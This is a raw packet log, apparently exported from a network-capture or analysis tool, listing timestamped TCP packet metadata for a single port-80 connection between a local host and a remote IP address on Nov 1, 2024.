Nov 1, 2024 12:14:38.846745014 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846746922 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.846746922 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.846757889 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846786976 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846793890 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.846793890 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.846798897 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846812963 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846823931 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.846824884 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846839905 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846852064 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846867085 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846878052 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.846878052 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.846914053 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.846942902 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846960068 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846971989 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846983910 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846990108 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.846999884 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847012043 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847024918 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847042084 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847042084 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847059965 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847105980 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847119093 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847137928 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847156048 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847168922 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847181082 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847182035 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847181082 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847193956 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847209930 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847223043 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847229958 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847234011 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847246885 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847250938 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847266912 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847276926 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847278118 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847296953 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847309113 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847335100 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847335100 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847340107 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847347021 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847352982 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847364902 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847377062 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847388983 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847409964 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847409964 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847435951 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847446918 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847456932 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847459078 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847474098 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847485065 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847505093 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847506046 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847537994 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847579002 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847590923 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847604990 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847616911 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847629070 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847639084 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847645998 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847645998 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847645998 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847659111 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847671986 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847683907 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847695112 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847695112 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847712994 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847716093 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847726107 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847742081 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847757101 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847757101 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847781897 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847803116 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847915888 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847928047 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847938061 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847951889 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847964048 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847975969 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.847994089 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847994089 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.847995996 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.848009109 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.848021984 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.848033905 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.848037958 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.848037958 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.848048925 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.848062038 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.848073959 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.848086119 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.848092079 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.848092079 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.848118067 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.848134041 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.992932081 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.992949009 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.992966890 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993005037 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993021011 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993035078 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993041039 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993046045 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993060112 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993066072 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993122101 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993155956 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993169069 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993181944 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993196011 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993204117 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993216038 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993226051 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993227005 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993241072 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993253946 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993267059 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993272066 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993272066 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993280888 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993346930 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993359089 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993360043 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993360043 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993372917 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993391991 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993395090 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993405104 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993416071 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993417025 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993447065 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993458986 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993458986 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993458986 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993473053 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993484974 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993495941 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993505001 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993513107 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993513107 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993518114 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993529081 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993531942 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993544102 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993560076 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993587971 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993599892 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993619919 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993619919 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993628025 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993642092 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993653059 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993659973 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993659973 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993664980 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993685961 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993685961 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993737936 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993751049 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993752956 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993763924 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993779898 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993791103 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993798018 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993798018 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993804932 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993818045 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993829012 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993848085 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993848085 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993864059 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993872881 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993876934 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993896961 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993913889 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993925095 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993925095 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993927002 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993940115 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993951082 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993953943 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993967056 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993968010 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.993995905 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.993999004 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994009972 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994023085 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994029045 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994036913 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994060040 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994060040 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994065046 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994077921 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994085073 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994090080 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994102955 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994115114 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994126081 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994151115 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994188070 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994206905 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994219065 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994230032 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994240046 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994249105 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994251013 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994266033 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994277954 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994287968 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994299889 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994303942 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994303942 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994313002 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994337082 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994349003 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994357109 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994357109 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994362116 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994376898 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994404078 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994406939 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994407892 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994416952 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994427919 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994429111 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994441986 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994450092 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994455099 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994482040 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994482040 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994538069 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994541883 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994554043 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994577885 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994590044 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994597912 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994609118 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994610071 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994610071 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994622946 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994635105 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994642973 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994647026 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994671106 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994676113 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994676113 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994689941 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994699955 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994707108 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994710922 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994724035 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994734049 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994734049 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994736910 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994772911 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994779110 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994791985 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994802952 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994806051 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994822979 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994834900 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994837046 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994837046 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994856119 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994868040 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994868994 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994914055 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994920015 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994930983 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994935036 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994949102 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994961023 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994962931 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994973898 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994980097 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994987011 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.994997025 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.994999886 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995013952 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995028019 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995045900 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995049953 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995062113 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995064020 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995076895 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995089054 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995090008 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995119095 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995122910 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995122910 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995132923 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995140076 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995145082 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995157957 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995170116 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995181084 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995181084 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995183945 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995224953 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995253086 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995258093 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995270014 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995281935 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995296001 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995306969 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995320082 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995320082 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995326996 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995335102 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995342016 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995357037 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995400906 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995527983 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995539904 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995551109 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995563030 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995575905 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995585918 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995595932 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995599031 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995614052 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995629072 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995641947 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995649099 CET	49979	80	192.168.2.7	185.215.113.16
